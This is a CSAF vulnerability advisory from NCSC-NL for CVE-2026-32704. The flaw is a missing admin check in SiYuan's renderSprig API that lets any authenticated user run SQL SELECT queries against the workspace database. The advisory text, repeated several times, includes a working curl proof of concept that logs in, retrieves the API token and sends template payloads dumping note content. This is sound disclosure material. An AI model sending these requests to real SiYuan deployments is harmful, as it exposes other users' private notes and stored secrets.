{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-32704", "tracking": { "current_release_date": "2026-03-27T00:15:43.702221Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-32704", "initial_release_date": "2026-03-13T21:38:45.477770Z", "revision_history": [ { "date": "2026-03-13T21:38:45.477770Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-13T21:38:47.934607Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-13T21:49:06.871715Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-13T21:49:15.365187Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-14T07:34:59.688919Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-14T14:50:46.192502Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-14T14:50:48.976371Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-16T14:34:21.529863Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-16T14:34:23.715853Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-03-16T17:38:48.519846Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-03-16T22:50:59.658858Z", "number": "11", "summary": "References created (1)." }, { "date": "2026-03-16T22:51:02.559549Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-03-17T19:26:04.685950Z", "number": "13", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-17T19:26:08.620301Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-19T15:28:37.090231Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-19T15:28:39.890825Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:29:43.907675Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T00:13:00.118135Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-27T00:13:55.327666Z", "number": "19", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.6.1", "product": { "name": "vers:unknown/<3.6.1", "product_id": "CSAFPID-5839032", "product_identification_helper": { "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "siyuan" } ], "category": "vendor", "name": "B3log" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.6.1", "product": { "name": "vers:unknown/<3.6.1", "product_id": "CSAFPID-5825995" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.6.1", "product": { "name": "vers:unknown/>=0|<3.6.1", "product_id": "CSAFPID-5920133" } } ], "category": "product_name", "name": "siyuan" } ], "category": "vendor", "name": "siyuan-note" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-32704", "cwe": { "id": "CWE-732", "name": "Incorrect Permission Assignment for Critical Resource" }, "notes": [ { "category": "description", "text": "SiYuan is a personal knowledge management system. Prior to 3.6.1, POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. This vulnerability is fixed in 3.6.1.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32704" }, { "category": "description", "text": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n// Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n model.CheckAuth, renderSprig)\n\n// Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check\n return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n -H \"Content-Type: application/json\" \\\n -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15 # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.", "title": "github - https://github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "description", "text": "SiYuan is a personal knowledge management system. Prior to 3.6.1, POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. This vulnerability is fixed in 3.6.1.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32704" }, { "category": "description", "text": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n// Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n model.CheckAuth, renderSprig)\n\n// Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check\n return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n -H \"Content-Type: application/json\" \\\n -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15 # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.", "title": "github - https://api.github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "description", "text": "### Summary\n`POST /api/template/renderSprig` lacks `model.CheckAdminRole`, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.\n\n### Details\n**File:** `kernel/api/router.go`\n\nEvery sensitive endpoint in the codebase uses `model.CheckAuth + model.CheckAdminRole`, but `renderSprig` only has `CheckAuth`:\n\n```go\n// Missing CheckAdminRole\nginServer.Handle(\"POST\", \"/api/template/renderSprig\",\n model.CheckAuth, renderSprig)\n\n// Correct pattern used by all other data endpoints\nginServer.Handle(\"POST\", \"/api/template/render\",\n model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)\n```\n\n`renderSprig` calls `model.RenderGoTemplate` (`kernel/model/template.go`) which registers SQL functions from `kernel/sql/database.go`:\n\n```go\n(*templateFuncMap)[\"querySQL\"] = func(stmt string) (ret []map[string]interface{}) {\n ret, _ = Query(stmt, 1024) // executes raw SELECT, no role check\n return\n}\n```\n\nAny authenticated user - including Publish Service **Reader** role accounts - can call this endpoint and execute arbitrary SELECT queries.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\n# Step 1: Login and retrieve API token\ncurl -s -X POST http://localhost:6806/api/system/loginAuth \\\n -H \"Content-Type: application/json\" \\\n -d '{\"authCode\":\"test123\"}' -c /tmp/siy.cookie\n\nsleep 15 # wait for boot\n\nTOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \\\n -b /tmp/siy.cookie -H \"Content-Type: application/json\" -d '{}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])\")\n\n# Step 2: Execute SQL as non-admin user\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{querySQL \\\"SELECT count(*) as n FROM blocks\\\" | toJson}}\"}'\n```\n\n**Confirmed response on v3.6.0:**\n```json\n{\"code\":0,\"msg\":\"\",\"data\":\"[{\\\"n\\\":0}]\"}\n```\n\n**Full note dump:**\n```bash\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT hpath,content FROM blocks LIMIT 100\\\")}}{{$r.hpath}}: {{$r.content}}\\n{{end}}\"}'\n```\n\n### Impact\nAny authenticated user (API token holder, Publish Service Reader) can:\n- Dump **all note content** and document hierarchy from the workspace\n- Exfiltrate tags, custom attributes, block IDs, and timestamps\n- Search notes for stored passwords, API keys, or personal data\n- Enumerate all notebooks and their structure\n\nThis is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4j3x-hhg2-fm2x.json?alt=media" }, { "category": "description", "text": "SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB in github.com/siyuan-note/siyuan/kernel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4700.json?alt=media" }, { "category": "other", "text": "0.00033", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5825995", "CSAFPID-5839032", "CSAFPID-5920133" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-32704" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32704.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32704" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32704" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32704" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4j3x-hhg2-fm2x.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4700.json?alt=media" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/siyuan-note/siyuan/issues/17209" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-4j3x-hhg2-fm2x" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32704" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5825995", "CSAFPID-5839032", "CSAFPID-5920133" ] } ], "title": "CVE-2026-32704" } ] }